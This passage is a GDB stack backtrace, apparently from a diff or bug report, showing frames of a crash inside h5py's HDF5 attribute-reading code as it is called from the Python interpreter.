+ #20 0x00007ffff73c7a79 in __pyx_f_4h5py_4defs_H5Aread (__pyx_v_attr_id=504403158265495552, __pyx_v_mem_type_id=216172782113784003, __pyx_v_buf=0x1070a40) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/defs.c:3927
33
+ #21 0x00007ffff7b7f130 in __pyx_f_4h5py_6_proxy_attr_rw (__pyx_v_attr=504403158265495552, __pyx_v_mtype=216172782113783927, __pyx_v_progbuf=0xf3a580, __pyx_v_read=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_proxy.c:5421
34
+ #22 0x00007ffff44cd0cf in __pyx_pf_4h5py_3h5a_6AttrID_read (__pyx_v_mtype=0x7ffff1b4dc10, __pyx_v_arr=0x7ffff1a82df0, __pyx_v_self=0x7ffff75ea660) at /tmp/pip-build-env-u05q5lgw/overlay/lib/python3.12/site-packages/numpy/_core/include/numpy/ndarraytypes.h:1585
35
+ #23 __pyx_pw_4h5py_3h5a_6AttrID_1read (__pyx_v_self=0x7ffff75ea660, __pyx_args=<optimized out>, __pyx_nargs=<optimized out>, __pyx_kwds=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/h5a.c:11013
36
+ #24 0x00007ffff7fa9abe in __Pyx_PyVectorcall_FastCallDict_kw (kw=0x7ffff1aaef40, nargs=<optimized out>, args=<optimized out>, vc=<optimized out>, func=0x7ffff1bf4d50) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_errors.c:7187
37
+ #25 __Pyx_PyVectorcall_FastCallDict (kw=0x7ffff1aaef40, nargs=<optimized out>, args=<optimized out>, vc=<optimized out>, func=0x7ffff1bf4d50) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_errors.c:7216
38
+ #26 __Pyx_CyFunction_CallAsMethod (func=0x7ffff1bf4d50, args=<optimized out>, kw=0x7ffff1aaef40) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_errors.c:8012
39
+ #27 0x00007ffff737557d in __Pyx_PyObject_Call (kw=0x7ffff1aaef40, arg=0x7ffff7429c00, func=0x7ffff1bf4d50) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:14469
40
+ #28 __pyx_pf_4h5py_8_objects_9with_phil_wrapper (__pyx_v_kwds=0x7ffff7406a80, __pyx_v_args=0x7ffff7429c00, __pyx_self=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:6087
41
+ #29 __pyx_pw_4h5py_8_objects_9with_phil_1wrapper (__pyx_self=<optimized out>, __pyx_args=0x7ffff7429c00, __pyx_kwds=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:5999
42
+ #30 0x000000000054937e in _PyObject_MakeTpCall ()
43
+ #31 0x00000000005d7389 in _PyEval_EvalFrameDefault ()
44
+ #32 0x00007ffff737557d in __Pyx_PyObject_Call (kw=0x7ffff1aae880, arg=0x7ffff7429a80, func=0x7ffff1ac6c00) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:14469
45
+ #33 __pyx_pf_4h5py_8_objects_9with_phil_wrapper (__pyx_v_kwds=0x7ffff74069c0, __pyx_v_args=0x7ffff7429a80, __pyx_self=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:6087
46
+ #34 __pyx_pw_4h5py_8_objects_9with_phil_1wrapper (__pyx_self=<optimized out>, __pyx_args=0x7ffff7429a80, __pyx_kwds=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:5999
47
+ #35 0x00000000005492b5 in _PyObject_MakeTpCall ()
48
+ #36 0x00000000005a143d in ?? ()
49
+ #37 0x00000000005d81c2 in _PyEval_EvalFrameDefault ()
50
+ #38 0x0000000000555546 in ?? ()
51
+ #39 0x0000000000560044 in ?? ()
52
+ #40 0x00000000005616b6 in ?? ()
53
+ #41 0x0000000000549cb5 in PyObject_Vectorcall ()
54
+ #42 0x00000000005d7389 in _PyEval_EvalFrameDefault ()
55
+ #43 0x00000000005d58bb in PyEval_EvalCode ()
56
+ #44 0x0000000000608a33 in PyRun_StringFlags ()
57
+ #45 0x00000000006b426e in PyRun_SimpleStringFlags ()
58
+ #46 0x00000000006bcf31 in Py_RunMain ()
59
+ #47 0x00000000006bc94d in Py_BytesMain ()
60
+ #48 0x00007ffff7c2a1ca in __libc_start_call_main (main=main@entry=0x518c60, argc=argc@entry=4, argv=argv@entry=0x7fffffffd898) at ../sysdeps/nptl/libc_start_call_main.h:58
61
+ #49 0x00007ffff7c2a28b in __libc_start_main_impl (main=0x518c60, argc=4, argv=0x7fffffffd898, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd888) at ../csu/libc-start.c:360
62
+ #50 0x0000000000657b05 in _start ()